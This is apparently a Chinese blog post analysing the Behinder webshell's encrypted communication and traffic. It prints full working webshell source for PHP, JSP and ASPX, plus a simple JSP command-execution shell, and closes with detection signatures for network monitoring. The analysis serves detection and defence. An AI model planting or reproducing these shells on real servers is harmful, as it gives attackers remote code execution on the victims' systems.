冰蝎通信研究

shell分析

php

shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>

在该冰蝎木马查看是$_GET 变量否存在pass,如果存在的话根据时间生成16位的随机密钥存入session中

接着判断是否开启了openssl插件

  • 如果开启了openssl,使用AES进行加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval("phpinfo();"),服务端利用explode函数将拆分为一个字符串数据,然后以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert("eval("phpinfo;")")。
  • 如果没有开启openssl,进行异或处理然后通过base64加密

jsp

1
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

在冰蝎客户端连接shell时候,首先进行一次GET请求,远程获取加密密钥进行AES加密,获得密钥保存到session中,和当前会话绑定。

客户端将payload的类打包好,通过ASM框架从jar包中以字节流的形式取出class文件。服务端通过ClassLoader的子类Myloader的get方法来间接调用defineClass方法,将客户端发来的二进制class字节数组解析成Class并实例化。

客户端使用GET请求获得的密钥对paylod进行AES加密然后进行base64编码,带cookie以POST方式发送至服务器端,并将执行结果取回(如果结果是加密的,则进行AES解密)。服务端会通过客户端传来cookie值的session获得客户端的密钥进行解密。

aspx

1
<%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%if (Request["pass"]!=null){ Session.Add("k", Guid.NewGuid().ToString().Replace("-", "").Substring(16)); Response.Write(Session[0]); return;}byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

和上面的木马思路差不多,都是动态AES加密传输WEBSHELL。

为了实现客户端跨平台使用,冰蝎的客户端采用Java语言编写,因此就无法动态编译C#的dll文件。而是在windows平台把C#版本的Payload编译成dll文件,然后以资源文件的形式嵌入至客户端。';'

  • 客户端把参数值拼接在DLL文件的底部,然后一起进行AES加密,加密之后传递到服务端。
  • 服务端收到加密字节流之后进行AES解密,并把解密的内容(包括DLL字节流和参数字节流)传入System.Reflection.Assembly.Load,由于Assembly的解析特性,会自动忽略掉DLL文件尾部的额外参数字节流。
  • 执行流进入Payload的Equals函数,在函数中由于可以访问Request和Session,于是用Session中的key对Requset中的完整加密字节流再次解密。
  • 解密得到DLL文件字节流和额外参数字节流,然后只要把DLL尾部附加的额外参数字节流取出来,便可得到客户端传过来的额外参数。

数据包分析

php

开启openssl或者关闭openssl在流量上都会先发送两次GET握手请求,服务端产生随机密钥并写入Session,session和当前会话绑定。不同的客户端访问同一个服务端,密钥不同。

然后接着进行两次post请求,在第一次post请求的时候,开启了openssl拓展的在进行post请求时会获得到响应

对post请求进行解密

对post响应解密

base64解码后的结果:

{"status":"success","msg":"f2c02e9f-3185-406e-bb71-8f217123c755"}

没有开启openssl拓展的会在第二次post请求异或加密数据然后进行base64函数处理

jsp

简单jsp一句话流量如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<%
if("023".equals(request.getParameter("pwd")))
{
java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
}
%>

冰蝎对于webshell会进行两次GET请求,获得密钥保存到session中,和当前会话绑定。

客户端使用GET请求获得的密钥对paylod进行AES加密然后进行base64编码,带cookie以POST方式发送至服务器端。

aspx

简单aspx一句话流量如下

Java和.NET原生都支持AES加密,加密流程和jsp木马一样,具体数据包如下

流量监测

php

基于GET请求包的检测特征:

  1. url包含.php?pass=;(密码如果被修改后,此检测特征无效)
  2. 请求body包含Content-Length: 16

基于GET响应包的检测特征:返回16位密钥

基于POST请求包的检测特征:Content-Type: application/x-www-form-urlencoded

基于POST响应包的检测特征:Transfer-Encoding: chunked

jsp

基于GET请求包的检测特征:

  1. url包含.php?pass=;(密码如果被修改后,此检测特征无效)
  2. 请求body包含Content-Length: 16

基于GET响应包的检测特征:返回16位密钥

基于POST请求包的检测特征:Content-Type: application/octet-stream

基于POST响应包的检测特征:Transfer-Encoding: chunked

百度的OpenRASP可以通过命令执行的堆栈日志识别冰蝎(安装自带插件即可看到日志),日志中会看到应用大量的堆栈跟踪活动记录。

aspx

基于GET请求包的检测特征:

  1. url包含.php?pass=;(密码如果被修改后,此检测特征无效)
  2. 请求body包含Content-Length: 16

基于GET响应包的检测特征:返回16位密钥

基于POST请求包的检测特征:Content-Type: application/octet-stream

基于POST响应包的检测特征:Transfer-Encoding: chunked

参考:

几种典型 JSP WebShell 的深度解析

先知上冰蝎系列文章

如何全面防御Webshell

JNI技术绕过rasp防护实现jsp webshell

那些年我们堵住的洞 – OpenRASP纪实

基于机器学习和流量检测的webshell检测程序

-------------本文结束感谢您的阅读-------------